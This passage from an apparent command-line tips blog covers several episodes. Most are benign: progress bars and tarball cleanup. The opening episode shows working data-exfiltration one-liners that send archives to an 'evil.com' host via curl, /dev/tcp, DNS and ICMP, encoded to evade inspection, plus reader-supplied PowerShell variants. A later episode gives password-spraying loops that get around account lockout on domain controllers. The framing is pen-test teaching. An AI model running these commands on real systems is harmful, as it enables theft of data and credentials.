curl -F "data=@-" https://remotehost.evil.com/script.php</pre><br />"curl -F" fakes a form POST. In this case, the submitted parameter name will be "data". Normally you would use "@filename" after the "data=" to post the contents of a file. But we don't want to write any files locally, so we use "@-" to tell curl to take data from the standard input.<br /><br />Of course, you'd also have to create script.php over on the remote web server and have it save the incoming data so that you could manually unpack it later. And, while it's commonly found on Linux systems, curl is not a built-in tool. So strictly speaking, I'm not supposed to be using it according to the rules of our blog.<br /><br />So no SSH and now no curl. What's left? Well, I could just shoot the tarball over the network in raw mode:<br /><br /><pre>tar zcf - localfolder >/dev/tcp/remotehost.evil.com/443</pre><br />"/dev/tcp/remotehost.evil.com/443" is the wonderful bash-ism that allows me to make connections to arbitrary hosts and ports via the command-line. Note that because the "/dev/tcp/..." hack is a property of the bash shell, I can't use it as a file name argument to "tar -f". Instead I have to use redirection like you see in the example.<br /><br />Maybe my victim is doing packet inspection. Perhaps I don't want to just send the unobfuscated tarball. I could use xxd to encode the tarball as a hex dump before sending:<br /><br /><pre>tar zcf - localfolder | xxd -p >/dev/tcp/remotehost.evil.com/443</pre><br />You would use "xxd -r" on the other end to revert the hex dump back into binary. <br /><br />Instead of xxd, I could use "base64" for a simple base64 encoding. But that might be too obvious. How about a nice EBCDIC encoding on top of the base64:<br /><br /><pre>tar zcf - localfolder | base 64 | dd conv=ebcdic >/dev/tcp/remotehost.evil.com/443</pre><br />Use "dd conv=ascii if=filename | base64 -d" on the remote machine to get your data back. I'm guessing that nobody looking at the raw packet data would suspect EBCDIC as the encoding though.<br /><br />Doing something like XOR encoding on the fly turns into a script, unfortunately. But there are some cool examples in several different languages (including the Unix shell and Windows Powershell) <a href="http://stackoverflow.com/questions/3478954/code-golf-xor-encryption" target="_blank">over here</a>.<br /><br />Or how about using DNS queries to exfiltrate data:<br /><br /><pre>tar zcf - localfolder | xxd -p -c 16 |<br /> while read line; do host $line.domain.com remotehost.evil.com; done</pre><br />Once again I'm using xxd to encode my tar file as a hex dump. I read the hex dump line by line and use each line of data as the "host name" portion of a DNS query to my nameserver on remotehost.evil.com. By monitoring the DNS query traffic on the remote machine, I can reassemble the encoded data to get my original file content back. <br /><br />Note that I've added the '-c 16" option to the xxd command to output 16 bytes (32 characters) per line. That way my "host names" are not flagged as invalid for being too long. You might also want to throw a "sleep" statement into that loop so that your victim doesn't become suspicious of the sudden blast of DNS queries leaving the box.<br /><br />I could so something very similar using the ping command on Linux to exfiltrate my data in ICMP echo request packets:<br /><br /><pre>tar zcf - localfolder | xxd -p -c 16 |<br /> while read line; do ping -p $line -c 1 -q remotehost.evil.com; done</pre><br />The Linux version of ping lets me use "-p" to specify up to 16 bytes of data to be included in the outgoing packet. Unfortunately, this option may not be supported on other Unix variants. I'm also using "-c 1" to send only a single instance of each packet and "-q" to reduce the amount of output I get. Of course, I'd have to scrape the content out of the packets on the other side, which will require a bit of scripting.<br /><br />Well, I hope that gets your creative juices flowing. There's just so many different ways you can obfuscate data and move it around the network using the bash shell. But I think I better stop here before I make Tim cry. Now Tim, stop your sobbing and show us what you've got in Windows.<br /><br /><font size="4">Tim wipes away his tears</font><br /><br />I asked Santa for a few features to appear in Windows that are native to Linux, but all I got was a lump of coal. I keep asking Santa every year and he never writes back. I know people told me he doesn't exist, but HE DOES. He gave me a skateboard when I was 7. So yes, my apparent shunning by Santa made me cry.<br /><br />I've got no built in commands for ssh, tar, base64, curl/wget, dev tcp, or any of the cool stuff Hal has. FTP could be used, and can support encryption, but you have to write a script for the FTP command (similar to <a href="http://blog.commandlinekungfu.com/2010/04/episode-89-lets-scan-us-some-ports.html">this</a>). While PowerShell scripts could be written to implement most of these functions, that would definitely cross into The Land of Scripts (and they have a restraining order against us, something about Hal not wearing pants last time he visited).<br /><br />That pretty much leaves SMB connections and that has a number of problems. First, we don't have encryption, which may mean we can't use it on a Pen Test. Second, port 445 is usually heavily monitored or filtered. Third, we can't pick a different port and we are stuck with 445.<br /><br />On the bright side it means that my portion of this episode is going to be short. First, we create the connection back to our server.<br /><br /><pre>C:\> net use z: \\4.4.4.4\myshare myevilpassword1 /user:myeviluser</pre><br /><br />Then we can copy all the files we want to the Z. drive. We can accomplish this using <a href="http://blog.commandlinekungfu.com/2009/04/episode-24-copying-and-synchronizing.html">Robocopy</a> or PowerShell's Copy-Item (aliases copy, cp, and cpi) with the -Recurse switch.<br /><br />Yep, that's it. Now back to my crying. Oh, and Happy Stinking New Year.<br /><br /><b>Edit: Marc van Orsouw writes in with the following</b><br /><i>Some remarks about PowerShell options :<br /> <br />Of course you do not need the net use in PowerShell you can use UNC directly.<br />And there are a lot of options in your wishlist that can be done using .NET (mostly resulting in scripts on oneliners of course, so keep your list ;), although PSCX will solve a lot of them) <br /> <br />Some options I came up with :<br /> <br />A IMHO opinion another cool option is using PowerShell remoting (already encrypted)<br /> <br />This could be as easy as :<br /> <br />Invoke-Command -ComputerName evilserver {PARAM($txt);set-content stolen.txt $txt} -ArgumentList (get-content usernames.txt)<br /> <br />Some Ugly FTP example with Base64<br /> <br />[System.Net.FtpWebRequest][System.Net.WebRequest]::Create('ftp://evil.com/p.txt') |% {$_.Method = "STOR";$s = [byte[]][convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\username.txt')).tochararray();$_.GetRequestStream().Write($s, 0, $s.Length)}<br /> <br />And with Web service when remote server available (as in the PHP example) than it would be as simple as :<br /> <br />(New-WebServiceProxy -uri http://evil.com/store.asmx?WSDL).steal((get-content file.txt))</i><br /><br />We can just use the UNC path (\\1.1.1.1\share instead of z:\) for exfiltration, but if we want to authenticate the best way is to use NET USE first.<br /><br />The PowerShell Community Extensions (PSCX) do give a lot of cool functionality, but they are add-ons and not allowed. Similarly, the .NET framework gives us tremendous power, but crosses into script-land rather quickly and is also not allowed.<br /><br />The remoting command is really cool *and* it is encrypted too. I forgot about this one. The New-WebServiceProxy cmdlet is a really intriguing way to do this as well. I have never used this cmdlet before, and if we use HTTPS instead of HTTP it would be encrypted too. Very nice!<br /><br /><b>Edit 2: Marc van Orsouw has another cool suggestions</b><br /><i><pre>PS C:\> <b>Import-Module BitsTransfer</b><br />PS C:\> <b>Start-BitsTransfer -Source c:\clienttestdir\testfile1.txt -Destination https://server01/servertestdir/testfile1.txt <br /> -TransferType Upload -cred (get-credential)</b></pre></i><br /><br />Mark is a PowerShell MVP and blogs over at http://thepowershellguy.com/Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-81449189524209466682011-11-29T05:00:00.001-05:002011-11-29T05:00:02.730-05:00Episode #163: Pilgrim's Progress<font size="4">Tim checks the metamail:</font><br /><br />I hope everyone had a good Thanksgiving. I know I did, and I sure have a lot to be thankful for.<br /><br />Today we receive mail about mail. Ed writes in about Rob VandenBrink writing in:<br /><br /><i>Gents,<br /><br />Rob VandenBrink sent me a cool idea this morning. It's for printing out a text-based progress indicator in cmd.exe. The idea is that if you have a loop that's doing a bunch of stuff, without any indication to the user, you can just echo a dot on the screen at each iteration of the loop to show that you are still alive and have processed another iteration. The issue in cmd.exe is echoing the dot without a CRLF, so that it goes nicely across the screen. Here's Rob's approach (which uses set /p very cleverly to define a variable, but without using that variable). On a few episodes, I used set /a because of its nice property of doing math without a CRLF. Here, Rob uses set /p to avoid the CRLF.<br /><br /><pre>C:\> <b>for /L %i in (1,1,5) do @timeout 1 >nul & <nul (set /p z=.)</b><br />..... <-- Progress Dots</pre><br /><br />Just replace the timeout command with something useful, and vary the FOR iterator loop to something that makes sense.<br /><br />Worthy of an episode?</i><br /><br />Well Ed, you can tell Rob that it is. Rob, feel free to send more cool suggestions to Ed and Ed can send them to us. I'll pass along what I think is worthy of an episode to Hal, so Rob talk to Ed, Ed talk to Tim, Tim talks to Hal, Hal responds to Tim, Tim responds to Ed, Ed responds to Rob. Unless Ed is unavailable, then we Rob should find Tim who will check for Ed, then...<br /><br />Ok, we'll work out those details later. We certainly need to keep a strict flow of information, or else it could confusing, and we would hate that.<br /><br />The trick with this command is using the /P switch with the Set command. The /P switch is used to prompt a user for input. The standard syntax looks like this:<br /><br /><pre><b>SET /P variable=[promptString]</b></pre><br /><br />We are using a dummy variable Z to receive input, and the promptString is our dot. We feed NUL into the Set command so it doesn't hang while waiting for input. Since we didn't provide a carriage return the prompt is not advanced to the next line. That way we can output multiple dots on the same line. To prevent extra spaces between the dots we need to make sure there are no spaces between the dot and the next character, whether it be a closing parenthesis or a input redirection (<).<br /><br />I typically write it a little differently so it is a little clearer that the NUL is being fed into Set, but the effect is the same.<br /><br /><pre><b>C:\> (set /P z=.<NUL) & (set /P z=.<NUL)</b><br />..</pre><br /><br /><font size="4">PowerShell</font><br /><br />One of the best practices of PowerShell is to write each command so the output can be used as input to another command. This means that dots would mess up our nice object-type output. That's no skin off our back, as we have a cmdlet to keep track of progress for us, Write-Progress. However, it does require a bit of knowledge as to the number of iterations we will go through. Not usually a big deal though, but it may require that some input be preloaded so this calculation can be preformed. There are all sorts of cool things we can do with this cmdlet. Examples of coolness include: multiple progress bars, displaying time remaining, and displaying extra information on the current operation.<br /><br /><pre> Test<br /> Working<br /> [ooooooooooooooooooooooooooooooooooooo ]<br /><br />PS C:\> <b>1..100 | % { sleep 1; Write-Progress -Activity Test -Status Working -PercentComplete $_ }</b></pre><br /><br />The Activity and Status parameters are used to provide additional information. The Activity is usually used to provide a high level description of the process and the Status switch is used to describe the current operation, assuming there are multiple. Similar to our the cmd.exe command, replace the sleep 1 with something useful.<br /><br />The SecondsRemaining parameter can be used to display the estimated time remaining. This time must be calculated by the author of the script or command, and since these calculations are never close to correct, I personally refuse to ever even try to calculate the remaining time. So enough of my rant and back to the task at hand.<br /><br />Multiple progress bars can be used by using a unique ID for each. The default ID is 0, so we can use 1 for the second progress bar.<br /><br /><pre> Testing<br /> Outer<br /> [oooooooooooooooooo ]<br /> Testing<br /> Inner<br /> [oooooooooooooooooooooooooooooooooooooooooooooooooooooo ]<br /><br />PS C:\> <b>1..100 | % { Write-Progress -Activity Testing -Status Outer -PercentComplete $_;<br /> 1..100 | % { sleep 0.5; Write-Progress -Activity Testing -Status Inner -PercentComplete $_ -ID 1 }<br /> }</b></pre><br /><br />Another bonus is that the progress bar is displayed at the top of the screen so it doesn't interfere with the most recent output. To make it even better, it disappears after the command has completed. We have a progress display and we don't have any messy output to clean up, awesome!<br /><br />The cmd.exe output is functional, but not great, and the PowerShell version is really pretty. My bet is Hal and his *nix fu is going to snuggle up between these two. Hal, snuggle away.<br /><br /><font size="4">Hal emerges from a food coma</font><br /><br />Don't even get me started about "snuggling" with Tim. Mostly he just rolls over and goes to sleep, leaving me with the aftermath. He never cares about my feelings or what's important to me...<br /><br />Oh, sorry. I forgot we were talking command line kung fu here. I'm not going to be getting much "snuggling" on that front either, as it turns out. The Linux options pretty much emulate the two choices that Tim presented on the Windows side.<br /><br />The portable method uses shell built-ins and looks a lot like the CMD.EXE solution. Here's an example using the while loop from <a href="http://blog.commandlinekungfu.com/2011/11/episode-162-et-tu-bruteforce.html" target="_blank">last week's Episode</a>:<br /><br /><pre>paste <(awk '{print; print; print; print}' users.txt) passwords.txt |<br /> while read u p; do <br /> mount -t cifs -o domain=mydomain,user=$u,password=$p \<br /> //myshare /mnt >/dev/null 2>&1 \<br /> && echo $u/$p works && umount /mnt<br /> <b>(( $((++c)) % 100 )) || echo -n . 1>&2</b><br /> done >working-passwords.txt</pre><br />The code I've added in <b>bold face</b> is the part that prints dots to show progress. I've got a variable "$c" that gets incremented each time through the loop. We then take the value of that variable modulo 100. Every hundred iterations, that expression will have the value zero, so the echo statement after the "||" will get executed and print a dot. I use "echo -n" so we don't get a newline after the dot.<br /><br />Notice also the "1>&2" after the echo expression. This causes the dots coming out of the echo command heading for the standard output to go to the standard error instead. That way I'm able to redirect the normal output of the loop-- the usernames and passwords I'm brute-forcing-- into a file using ">working-passwords.txt" at the end of the loop and still see the progress dots on the standard error.<br /><br />You can slip this code into any loop you care to. And by adjusting the value on the right-hand side of the modulus operator you can cause the dots to be printed more or less frequently, depending on the size of your input. If you're reading a log file that's hundreds of thousands of lines long, you might want to do something like "... % 10000" so your screen doesn't just fill up with dots. On the other hand, you want the dots to appear frequently enough that it looks like something is happening. You just have to play around with the number until you're happy.<br /><br />While this approach is very portable and easy to use, it only works inside an explicit loop. There are lots of tasks where we're processing data using a series of commands in a pipeline with no loops at all. For example, there's pipelines like the one from <a href="http://blog.commandlinekungfu.com/2009/05/episode-38-browser-count-torture-test.html" target="_blank">Episode #38</a>:<br /><br /><pre>grep 'POST /login/form' ssl_access_log* | <br /> sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | <br /> sort | uniq -c | <br /> awk '{ t = t + $1; print} END { print t " TOTAL" }'</pre><br />Oh sure, I could force a loop at the front of the pipeline just to get some dots:<br /><br /><pre>while read line; do<br /> echo $line <br /> (( $((++c)) % 10000 )) || echo -n . 1>&2<br />done <ssl_access_log* | grep 'POST /login/form' | ...</pre><br />But let's face it, this is gross, inefficient, and silly. What bash is lacking is a built-in construct like PowerShell's Write-Progress cmdlet.<br /><br />Happily, there's an Open Source utility called "<a href="http://www.ivarch.com/programs/pv.shtml" target="_blank">pv</a>" (pipe viewer) that kicks Write-Progress' butt through the flimsy walls of our command line dojo. Unhappily, it's not a built-in utility, so strictly speaking it's not allowed by the rules of our blog. But sometimes it's fun to bring a bazooka to a knife fight.<br /><br />In it's simplest usage, pv just replaces the silly while loop that I forced onto the beginning of our pipeline:<br /><br /><pre># <b>pv -c ssl_access_log* | <br /> grep 'POST /login/form' | <br /> sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | <br /> sort | uniq -c | awk '{ t = t + $1; print} END { print t " TOTAL" }' >counts.txt</b><br />83.4MB 0:00:05 [16.2MB/s] [=================================>] 100%</pre><br />pv reads our input files and sends their content to the standard output-- just like the cat command. But it also creates a progress bar on the standard error. The "-c" option tells pv to use "curses" style cursor positioning sequences to update the progress bar more efficiently.<br /><br />I'm redirecting the actual pipeline output with the browser counts into a file (">counts.txt") so it's easier to focus in on the progress bar. I've captured the output after the loop has completed, so you're seeing the 100% completion bar, but notice that the left-hand side of the bar tracks the total data read and the amount of time taken.<br /><br />What's really fun, however, is using multiple instances of pv inside a complicated pipeline:<br /><br /><pre># <b>pv -cN Input ssl_access_log* | <br /> grep 'POST /login/' | pv -cN grep | <br /> sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | pv -cN sed | <br /> sort | uniq -c | awk '{ t = t + $1; print} END { print t " TOTAL" }' >counts.txt</b><br /> grep: 7.5MB 0:00:04 [1.51MB/s] [ <=> ]<br /> sed: 259kB 0:00:05 [51.8kB/s] [ <=> ]<br /> Input: 83.4MB 0:00:04 [17.1MB/s] [======================>] 100%</pre><br />You'll notice that I've added two more pv invocations in the middle of our pipeline: one after the grep and one after the sed command. I'm also using the "-N" ("name") flag to assign a unique name to each instance of pv. This name appears in front of each progress bar so you can tell them apart.<br /><br />What's fun about this mode is that it shows you how much you're reducing the data as it goes through each command. The total "Input" size is 83MB of access logs, which grep winnows down to 7.5MB of matching lines. Then sed removes everything except the browser name and major version number, leaving us with only 260KB of data. <br /><br />pv is widely available in various Linux distros, though it's not typically part of the base install. There's a BSD Ports version available and it's even in the MacOS <a href="http://mxcl.github.com/homebrew/" target="_blank">HomeBrew</a> system. Solaris folks can find it at <a href="http://sunfreeware.com/" target="_blank">Sunfreeware</a>. Everybody else gets to build it from source. But it's a useful tool in your command line toolchest.<br /><br />Consider this your early Xmas present. And you didn't even have to brave the <a href="http://www.reuters.com/article/2011/11/26/us-walmart-pepperspray-idUSTRE7AP0NX20111126" target="_blank">pepper spray</a> at Wal*mart to get it.Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-72691482882248476402011-11-15T05:00:00.007-05:002011-11-24T10:44:48.341-05:00Episode #162: Et Tu Bruteforce<font size="4">Tim is looking for a way in</font><br /><br />A few weeks ago I got a call from a Mr 53, of LaNMaSteR53 fame from the pauldotcom <a href="http://pauldotcom.com/2011/10/domain-user-spraying-and-brute.html">blog</a>. Mister, Tim "I have a very cool first name" Tomes was working on a way to brute force passwords. The scenario is hundreds (or more) accounts were created all (presumably) using the same initial password. He noticed all the accounts were created the same day and none of them had ever been logged in to.<br /><br />To brute force the passwords a subset of a large password dictionary is used tried against each account, but the same password was never used twice. This effectively bypasses the account lockout policy (5 failed attempts) and allows a larger set of passwords to be tested without locking out any accounts.<br /><br />So instead of this scenario:<br />user1 - password1, password2, password3, password 4<br />user2 - password1, password2, password3, password 4<br />user3 - password1, password2, password3, password 4<br />...<br /><br />We do it this way:<br />user1 - password1, password2, password3, password4<br />user2 - password5, password6, password7, password8<br />user3 - password9, password10, password11, password12<br />...<br /><br />The effectiveness of this method is based on the assumption that each account was created with the same default password. Instead of testing 4 passwords, we can test 4 * # of users. So for 1000 accounts that means 4000 password guesses instead of just 4.<br /><br />To pull this off we need to read two files, a user list and a password list. We need to take the first user and the first four passwords, then the send user and the next four passwords, and so on. This is the command to output the username and password pairs.<br /><br /><pre>PS C:\> <b>$usercount=0; gc users.txt | <br />% {$user = $_; gc passwords.txt -TotalCount (($usercount * 4) + 4) | <br />select -skip ($usercount++ * 4) } | % { echo "$user $_" }</b><br /><br />user1 password1<br />user1 password2<br />user1 password3<br />user1 password4<br />user2 password5<br />user2 password6<br />user2 password7<br />user2 password8<br />user3 password9<br />...</pre><br /><br />If we wanted to test the credentials against a domain controller we can do this:<br /><br /><pre>PS C:\> <b>$usercount=0; gc users.txt | % {$user = $_; <br />gc passwords.txt -TotalCount (($usercount * 4) + 4) | select -skip ($usercount++ * 4) } | <br />% { net use \\mydomaincontroller\ipc$ /user:somedomain\$user $_ 2>&1>$null; <br />if ($?) { echo "This works $user/$_ "; net use \\mydomaincontroller\ipc$ /user:$user /del } }</b><br /><br />This works user7/Password30</pre><br /><br /><font size="4">CMD.EXE</font><br /><br />When Pen Testing you many times get access to CMD.EXE only. The PowerShell interfaces are a bit flaky, and many times the systems that are initially compromised don't have it installed so we need to rely on CMD.EXE.<br /><br /><pre>C:\> <b>cmd /v:on /c "set /a usercount=0 >NUL & for /F %u in (users.txt) do @set<br />/a passcount=0 >NUL & set /a lpass=!usercount!*4 >NUL & set /a upass=!usercount!*4+4<br />>NUL & @(for /F %p in (passwords.txt) do @(IF !passcount! GEQ !lpass! (IF !passcount!<br />LSS !upass! (@echo %u %p))) & set /a passcount=!passcount!+1 >NUL) & set /a<br />usercount=!usercount!+1 >NUL"</b><br /><br />user1 password1<br />user1 password2<br />user1 password3<br />user1 password4<br />user2 password5<br />user2 password6<br />user2 password7<br />user2 password8<br />user3 password9<br />...</pre><br /><br />We start off enabling delayed variable expansion as usual. The usercount is initialized to 0 and it will be used to keep track of how many users have been attempted so far. We need this number to determine the proper password range to use. The users.txt file is then read via a For loop. Inside this (outer) For loop the passcount variable is set to 0. The passcount variable is used to keep track of where we are in the password file so we only use the 4 passwords we need. Related to that, the lower bound (lpass) and the upper bound (upass) are set so we know the range of the 4 passwords to be used. Now it is (finally) time to read the password file.<br /><br />Another, inner, For loop is used to read through the password file. A pair of If statements are used to make sure the current password is in the proper bounds, and if it is, it is output. The passcount variable is then incremented to keep track of our count. After we go through the entire password file we increment the usercount. The process starts all over using the next user read from the file.<br /><br />All we need to do now is Frankenstein this command with other Tim's command.<br /><br /><pre>C:\> <b>cmd /v:on /c "set /a usercount=0 >NUL & for /F %u in (users.txt) do @set<br />/a passcount=0 >NUL & set /a lpass=!usercount!*4 >NUL & set /a upass=!usercount!*4+4<br />>NUL & @(for /F %p in (passwords.txt) do @(IF !passcount! GEQ !lpass! (IF !passcount!<br />LSS !upass! (@net use \\DC01 /user:mydomain\%u %p 1>NUL 2>&1 && @echo This works<br />%u/%p && @net use /delete \\DC01\IPC$ > NUL))) & set /a passcount=!passcount!+1 >NUL)<br />& set /a usercount=!usercount!+1 >NUL"</b><br /><br />This works user7/Password30</pre><br /><br />There you go, brute away.<br /><br /><font size="4">Hal is looking for a way out</font><br /><br />The basic task of generating the username/password list is pretty easy for the Unix folks because we have the "paste" command that lets us join multiple files together in a line-by-line fashion. The only real trick here is repeating each username input four times before moving on to the next username.<br /><br />The first way that occurred to me to do this is with awk:<br /><br /><pre>$ <b>paste <(awk '{print; print; print; print}' users.txt) passwords.txt</b> <br />user1 password1<br />user1 password2<br />user1 password3<br />user1 password4<br />user2 password5<br />...</pre><br />Here I'm using the bash "<(...)" notation to include the output of our awk command as a file input for the "paste" command. The awk itself just uses multiple print statements to emit each line four times.<br /><br />Really all the awk is doing for us here, however, is to act as a short-hand for a loop over our user.txt file. We could dispense with the awk an just use shell built-ins:<br /><br /><pre>$ <b>paste <(while read u; do echo -e $u\\n$u\\n$u\\n$u; done <users.txt) passwords.txt</b> <br />user1 password1<br />user1 password2<br />user1 password3<br />user1 password4<br />user2 password5<br />...</pre><br />Aside from using a while loop instead of the awk, I'm also using a single "echo -e" statement to output all four lines, rather than calling echo multiple times. I could have done something similar with a single print statement in the awk verson, but somehow I think the "print; print; print; print" was clearer and more readable.<br /><br />By the way, some of you may be wondering why I have newlines ("\n", rendered above as "\\n" to protect the backwhack from shell interpolation) after the first three $u's but not after the last one. Remember that echo will automatically output a newline at the end of the output, unless we use "echo -n".<br /><br />But now that we have our username/password list, what do we do with it? Unfortunately, the SMBFS tools for Unix/Linux don't include a working equivalent for "net use". So we'd have to try mounting a share the old-fashioned way in order to test the username and password combos:<br /><br /><pre>paste <(awk '{print; print; print; print}' users.txt) passwords.txt |<br /> while read u p; do <br /> mount -t cifs -o domain=mydomain,user=$u,password=$p \<br /> //myshare /mnt >/dev/null 2>&1 \<br /> && echo $u/$p works && umount /mnt<br /> done</pre><br />If the mount command succeeds then the echo command will output the username and password. Then we'll call umount to unmount the share before moving on to the next attempt. It's kind of hideous, but it will work.<br /><br />Oh well, at least it's more readable than that CMD.EXE insanity Tim threw down...Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-91348091736193991902011-11-08T05:00:00.001-05:002011-11-08T05:00:17.736-05:00Episode #161: Cleaning up the Joint<font size="4">Hal's got email</font><br /><br />Apparently tired of emailing me <i>after</i> we post an Episode, Davide Brini decided to write us with a challenge based on a problem he had to solve recently. Davide had a directory full of software tarballs with names like:<br /><br /><pre>package-foo-10006.tar.gz<br />package-foo-10009.tar.gz<br />package-foo-8899.tar.gz<br />package-foo-9998.tar.gz<br />package-bar-3235.tar.gz<br />package-bar-44328.tar.gz<br />package-bar-4433.tar.gz<br />package-bar-788.tar.gz</pre><br />As the packages accumulate in the directory, Davide wanted to be able to get rid of everything but the most recent three tarballs. The trick is that we're only allowed to rely on the version number that's the third component of the file pathname, and not file metadata like the file timestamps. And of course our final solution should work no matter how many packages are in the directory or what their names are, and no matter how many versions of each package currently exist in the directory.<br /><br />The code I used to create my test cases is actually longer than my final solution. Here's the quickie I tossed off to create a directory of interesting test files:<br /><br /><pre>$ <b>for i in one two three four five; do <br /> for j in {1..5}; do <br /> touch pkg-$i-$RANDOM.tar.gz; <br /> done; <br />done</b><br />$ <b>ls</b><br />pkg-five-20690.tar.gz pkg-four-6945.tar.gz pkg-three-29078.tar.gz<br />pkg-five-22215.tar.gz pkg-one-16581.tar.gz pkg-three-31807.tar.gz<br />pkg-five-24754.tar.gz pkg-one-18962.tar.gz pkg-two-1461.tar.gz<br />pkg-five-27332.tar.gz pkg-one-25712.tar.gz pkg-two-14713.tar.gz<br />pkg-five-3200.tar.gz pkg-one-5325.tar.gz pkg-two-23569.tar.gz<br />pkg-four-12855.tar.gz pkg-one-8421.tar.gz pkg-two-28329.tar.gz<br />pkg-four-14868.tar.gz pkg-three-11196.tar.gz pkg-two-526.tar.gz<br />pkg-four-17282.tar.gz pkg-three-15935.tar.gz<br />pkg-four-19436.tar.gz pkg-three-25092.tar.gz</pre><br />The outer loop creates the different package names, and the inner loop creates five instances of each package. To get a wide selection of version numbers, I just use $RANDOM to get a random value between 1 and 32K.<br /><br />The tricky part about this challenge is that tools like "ls" will sort the file names alphabetically rather than numerically. In the output above, for example, you can see that "pkg-two-526.tar.gz" sorts at the very end of the list, even though numerically version number 526 is the earliest version in the "pkg-two" series of files.<br /><br />We can use "sort" to list the files in numeric order by version number:<br /><br /><pre>$ <b>ls | sort -nr -t- -k3</b> <br />pkg-three-31807.tar.gz<br />pkg-three-29078.tar.gz<br />pkg-two-28329.tar.gz<br />pkg-five-27332.tar.gz<br />pkg-one-25712.tar.gz<br />pkg-three-25092.tar.gz<br />...</pre><br />Here I'm doing a descending ("reversed") numeric sort ("-nr") on the third hypen-delimited field ("-t- -k3"). All the package names are mixed up, but at least the files are in numeric order.<br /><br />Now all I have to do is pick out the the fourth and later copies of any particular package name. For this there's awk:<br /><br /><pre>$ <b>ls | sort -nr -t- -k3 | awk -F- '++a[$1,$2] > 3'</b> <br />pkg-five-20690.tar.gz<br />pkg-three-15935.tar.gz<br />pkg-four-12855.tar.gz<br />pkg-three-11196.tar.gz<br />pkg-one-8421.tar.gz<br />pkg-four-6945.tar.gz<br />pkg-one-5325.tar.gz<br />pkg-five-3200.tar.gz<br />pkg-two-1461.tar.gz<br />pkg-two-526.tar.gz</pre><br />The "-F-" option tells awk to split its input on the hyphens. I'm using "++a[$1,$2]" to count the number of times I've seen a particular package name. When I get to the fourth and later entries for a given package, then my conditional statement will be true. Since I don't specify an action to take, the default assumption is "{print}" and the file name gets printed. Stick that in your awk pipe and smoke it, Davide!<br /><br />Removing the files instead of just printing their names is easy. Just pipe the output into xargs:<br /><br /><pre>$ <b>ls | sort -nr -t- -k3 | awk -F- '++a[$1,$2] > 3' | xargs rm -f</b><br />$ <b>ls</b><br />pkg-five-22215.tar.gz pkg-four-19436.tar.gz pkg-three-29078.tar.gz<br />pkg-five-24754.tar.gz pkg-one-16581.tar.gz pkg-three-31807.tar.gz<br />pkg-five-27332.tar.gz pkg-one-18962.tar.gz pkg-two-14713.tar.gz<br />pkg-four-14868.tar.gz pkg-one-25712.tar.gz pkg-two-23569.tar.gz<br />pkg-four-17282.tar.gz pkg-three-25092.tar.gz pkg-two-28329.tar.gz</pre><br />I've used the "-f" option here just so that we don't get an error message when we run the command and there end up being no files that need to be removed.<br /><br />And that's my final answer, Regis... er, Davide! Thanks for a fun challenge! To make things really interesting for Tim, I think we should make him do this one in CMD.EXE, don't you?<br /><br /><font size="4">Tim thinks Hal is mean</font><br /><br />Not only does Hal throw down the gauntlet and request CMD.EXE, but he makes this problem more difficult by making this two challenges in one. Not being one to turn down a challenge (even though I should), we start off with PowerShell by creating the test files:<br /><br /><pre>PS C:\> <b>foreach ($i in "one","two","three","four","five" ) {<br /> foreach ($j in 1..5) {<br /> Set-Content -Path "pkg-$i-$(Get-Random -Minimum 1 -Maximum 32000).tar.gz" -Value ""<br /> } }</b><br /><br />PS C:\> <b>ls</b><br /><br />Mode LastWriteTime Length Name<br />---- ------------- ------ ----<br />-a--- 11/1/2011 1:23 PM 2 pkg-five-19410.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-five-21426.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-five-26739.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-five-27296.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-five-6618.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-18533.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-25925.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-31089.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-511.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-four-8343.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-one-13225.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-one-24343.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-one-2835.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-one-308.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-one-4484.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-13226.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-15026.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-23830.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-30553.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-three-4311.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-12923.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-27368.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-27692.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-28727.tar.gz<br />-a--- 11/1/2011 1:23 PM 2 pkg-two-3888.tar.gz</pre><br /><br />Similar to what Hal did, we use multiple loops to create the files. Set-Content is used to create the file. The filename is a little crazy as we need to use the output of Get-Random in our path. The $() is used to wrap the cmdlet and only return the output.<br /><br />I feel a big like a ditch digger who is tasked with filling in the ditch he just dug, but that's the challange. We have files and some need to be deleted.<br /><br />We start off grouping the files based on their package and sorting them by their version.<br /><br /><pre>PS C:\> <b>ls | sort {[int]($_.Name.Split("-.")[2])} -desc |<br /> group {$_.Name.Split("-.")[1]}</b><br /><br />Count Name Group<br />----- ---- -----<br /> 5 four {pkg-four-31089.tar.gz, pkg-four-25925.tar.gz, pkg-four-1853...<br /> 5 three 